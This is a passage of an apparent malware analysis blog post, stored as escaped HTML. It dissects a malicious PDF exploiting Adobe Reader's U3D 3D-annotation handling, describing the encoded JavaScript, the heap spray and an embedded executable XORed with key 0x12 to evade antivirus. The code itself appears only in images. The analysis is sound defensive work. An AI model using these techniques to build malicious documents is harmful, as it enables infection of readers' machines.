&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;color: yellow;&quot;&gt;Object 14&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: inherit;&quot;&gt; &lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;as seen in above has
the stream link to object 15 which contains the actual compressed javascript&lt;/span&gt;&lt;br /&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgQdHhvpHcZ1_mthoZmLtJ1gAm9AqAbanT_mOU5fIZIlkUWMz3iwhb19jFeIUzgKcPzvV65_d6LWSKs-zKJTc0V2BNLgcmgTpcrRw4yL0uhYHnW_NiHv7BpdkR4trk8z00aVN8qxG7E7Q/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgQdHhvpHcZ1_mthoZmLtJ1gAm9AqAbanT_mOU5fIZIlkUWMz3iwhb19jFeIUzgKcPzvV65_d6LWSKs-zKJTc0V2BNLgcmgTpcrRw4yL0uhYHnW_NiHv7BpdkR4trk8z00aVN8qxG7E7Q/s400/1.png&quot; height=&quot;107&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;This is the malicious
javascript that is encoded twice, first with ASCIIHexDecode and then with
FlateDecode. These stream filters will indicate&amp;nbsp;
Adobe Reader on how to decode the streams while opening the document.
This combination of stream filters is widely used in exploits to compress the
code. We’ll take a look at the JS code little later in the Analysis . In the
meantime&amp;nbsp; , let’s move further in the
object structure analysis of the pdf document.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;color: yellow;&quot;&gt;Object 11&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-US&quot;&gt; contains the stream link to
Object 10 as seen in the below snapshot. This stream link contains the Flate encoded
3D Annotations data that is to be FlateDecoded and displayed while the Adobe &amp;nbsp;Reader&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;document is rendered&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi620O2L7_XzQSKlJ5u3L1W46KT9EJHBbPidyP6Q64jamwtYyNGCfBLGB5kPCzm8oVZFdnYXJPPJgdQoaegDB57wDdHmH-N0iu25ai9CADqVKIAEEvV7vdoA1KDYR7nv5qkVYhpRpqCEqM/s1600/2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi620O2L7_XzQSKlJ5u3L1W46KT9EJHBbPidyP6Q64jamwtYyNGCfBLGB5kPCzm8oVZFdnYXJPPJgdQoaegDB57wDdHmH-N0iu25ai9CADqVKIAEEvV7vdoA1KDYR7nv5qkVYhpRpqCEqM/s400/2.png&quot; height=&quot;177&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;As per the Adobe 3D
Annotations documentations available &lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;a href=&quot;http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/3DAnnotations.pdf&quot;&gt;here,&lt;/a&gt;&amp;nbsp;,&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;3DD entry of the
Annotations data specifies the FlateEncoded Data stream containing the U3D
data. That’s exactly what we see in&lt;/span&gt;&lt;b style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt; Object 10 &lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;as shown below&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4lv4YcN41xjRb8WZIWfA1nK2Z56VeeWuS5cMLQrUgS4uKob-2L74_Ekgl2xRTkPbZyyT-dihRRs1gC8M89g5lkN8H_OYp3rwP29KjXXKliLrbUU27RtU38ypuiwO662_Ph5XSK2RxtJk/s1600/3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4lv4YcN41xjRb8WZIWfA1nK2Z56VeeWuS5cMLQrUgS4uKob-2L74_Ekgl2xRTkPbZyyT-dihRRs1gC8M89g5lkN8H_OYp3rwP29KjXXKliLrbUU27RtU38ypuiwO662_Ph5XSK2RxtJk/s400/3.png&quot; height=&quot;165&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;This U3D data is likely
to cause the memory corrupution and trigger the vulnerability Moving to the
last &lt;/span&gt;&lt;b&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: yellow;&quot;&gt;Object 16&lt;/span&gt; &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;is of special interest to
us. Let’s check how this object looks.&lt;/span&gt;&lt;span style=&quot;color: #7f7f7f; font-family: Palatino Linotype, serif; font-size: 13pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXIjn_V2304YU2nKZQly47AlRIBGl0X-umBnlbx6uC66sQh90OAI1rDNiXZcogW31wco4egKeM5lZBPEJ1T4v376pu9gAPrdG1WlTCMCxj1dtNw7scqkRZ30tn9Cv6Oj5lFsvIc657cGc/s1600/4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXIjn_V2304YU2nKZQly47AlRIBGl0X-umBnlbx6uC66sQh90OAI1rDNiXZcogW31wco4egKeM5lZBPEJ1T4v376pu9gAPrdG1WlTCMCxj1dtNw7scqkRZ30tn9Cv6Oj5lFsvIc657cGc/s400/4.png&quot; height=&quot;97&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;This object does not have any references and contains
the stream that is supposed to be FlateEncoded. It is this stream which
contains the malicious XORed executable that is dropped after successful
exploitation. Let’s see if we can figure out the XOR key.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjevCatTzDIVyzIgC4Cgm1zPI3jRhLO7XvAAYWqa4m3BrYP9lrgXIcx0kNAqn6lnwAGLxT8hT5u0cgDzVbI0hubPV0eWK_hy3M-dE3hVmHUDVzBhnOvToGP6UEwT6o1jGPW3dNArU3nK5k/s1600/5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjevCatTzDIVyzIgC4Cgm1zPI3jRhLO7XvAAYWqa4m3BrYP9lrgXIcx0kNAqn6lnwAGLxT8hT5u0cgDzVbI0hubPV0eWK_hy3M-dE3hVmHUDVzBhnOvToGP6UEwT6o1jGPW3dNArU3nK5k/s400/5.png&quot; height=&quot;216&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Executable has been XORed
by 0x12 . Looks like this stream wasn’t FlateEncode but rather simply XORed to embed
the malicious file within. This techniques are normally used in exploits to hide
the malicious code and thereby bypassing the AV detections.&lt;/span&gt;&lt;span style=&quot;color: #7f7f7f; font-family: &#39;Palatino Linotype&#39;, serif; font-size: 13pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;Let’s take a look at the decoded JS code from &lt;/span&gt;&lt;b&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: yellow;&quot;&gt;Object 15&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-US&quot;&gt; to understand what it
does&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWuTcB2TJ6qG2m1gETJmsyRYLaBURJYvtNeOGepacVGDCoEn9exQJ4h54pbNzFZM4MkwNcnUCLWeIoshcSiijVRgDEvo2L8T8jTd4_KTRA61n-Mt4mMCHzELl3CNyrigGbyGjBeUFbcvM/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWuTcB2TJ6qG2m1gETJmsyRYLaBURJYvtNeOGepacVGDCoEn9exQJ4h54pbNzFZM4MkwNcnUCLWeIoshcSiijVRgDEvo2L8T8jTd4_KTRA61n-Mt4mMCHzELl3CNyrigGbyGjBeUFbcvM/s400/1.png&quot; height=&quot;400&quot; width=&quot;263&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;This code is checking for
supposedly non-existant versions of the Adobe Reader and apparently enters the
infinite loop if the version comes out to be greater than 10.0 . This code used the heap spray
technique to exploit this vulnerability and execute the shellcode. End of this
code is checking for the Windows platform and sets the document to page 2 if it
is running on the Windows platform which will render the 3D data specified by
the U3D file causing the corruption.&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;The actual heap spray function in the JS code looks like this :&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOPbry3WpG0ueOT5id6LR2Y2y52VNLTePaTJnJ0Iz9yFAh_F8m_HOLtW6R12qZqK7GxLDEOlAI0KfNGaxPMtBXk68NREGjasrgeqnqpgq3mEahgVtYgJbM-IGUAJmISlV9AMY4I_rRO3g/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOPbry3WpG0ueOT5id6LR2Y2y52VNLTePaTJnJ0Iz9yFAh_F8m_HOLtW6R12qZqK7GxLDEOlAI0KfNGaxPMtBXk68NREGjasrgeqnqpgq3mEahgVtYgJbM-IGUAJmISlV9AMY4I_rRO3g/s400/1.png&quot; height=&quot;108&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Last function call in the above figure is the one that
allocates the memory and fills up the heap as seen below.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmG2fhblHpb5yb3O2p5e_RS4PSlh9VJBiJbTi1OrVWnxPAwbSXGziTYpWAO3Ra7hZYd-fGC2f5eJG5vl21l9DGIXdVDAienA0NO3v8jnfPayF5j8jjFSmLKOCqScgwd4PrGYcC7aztUfQ/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmG2fhblHpb5yb3O2p5e_RS4PSlh9VJBiJbTi1OrVWnxPAwbSXGziTYpWAO3Ra7hZYd-fGC2f5eJG5vl21l9DGIXdVDAienA0NO3v8jnfPayF5j8jjFSmLKOCqScgwd4PrGYcC7aztUfQ/s400/1.png&quot; height=&quot;208&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
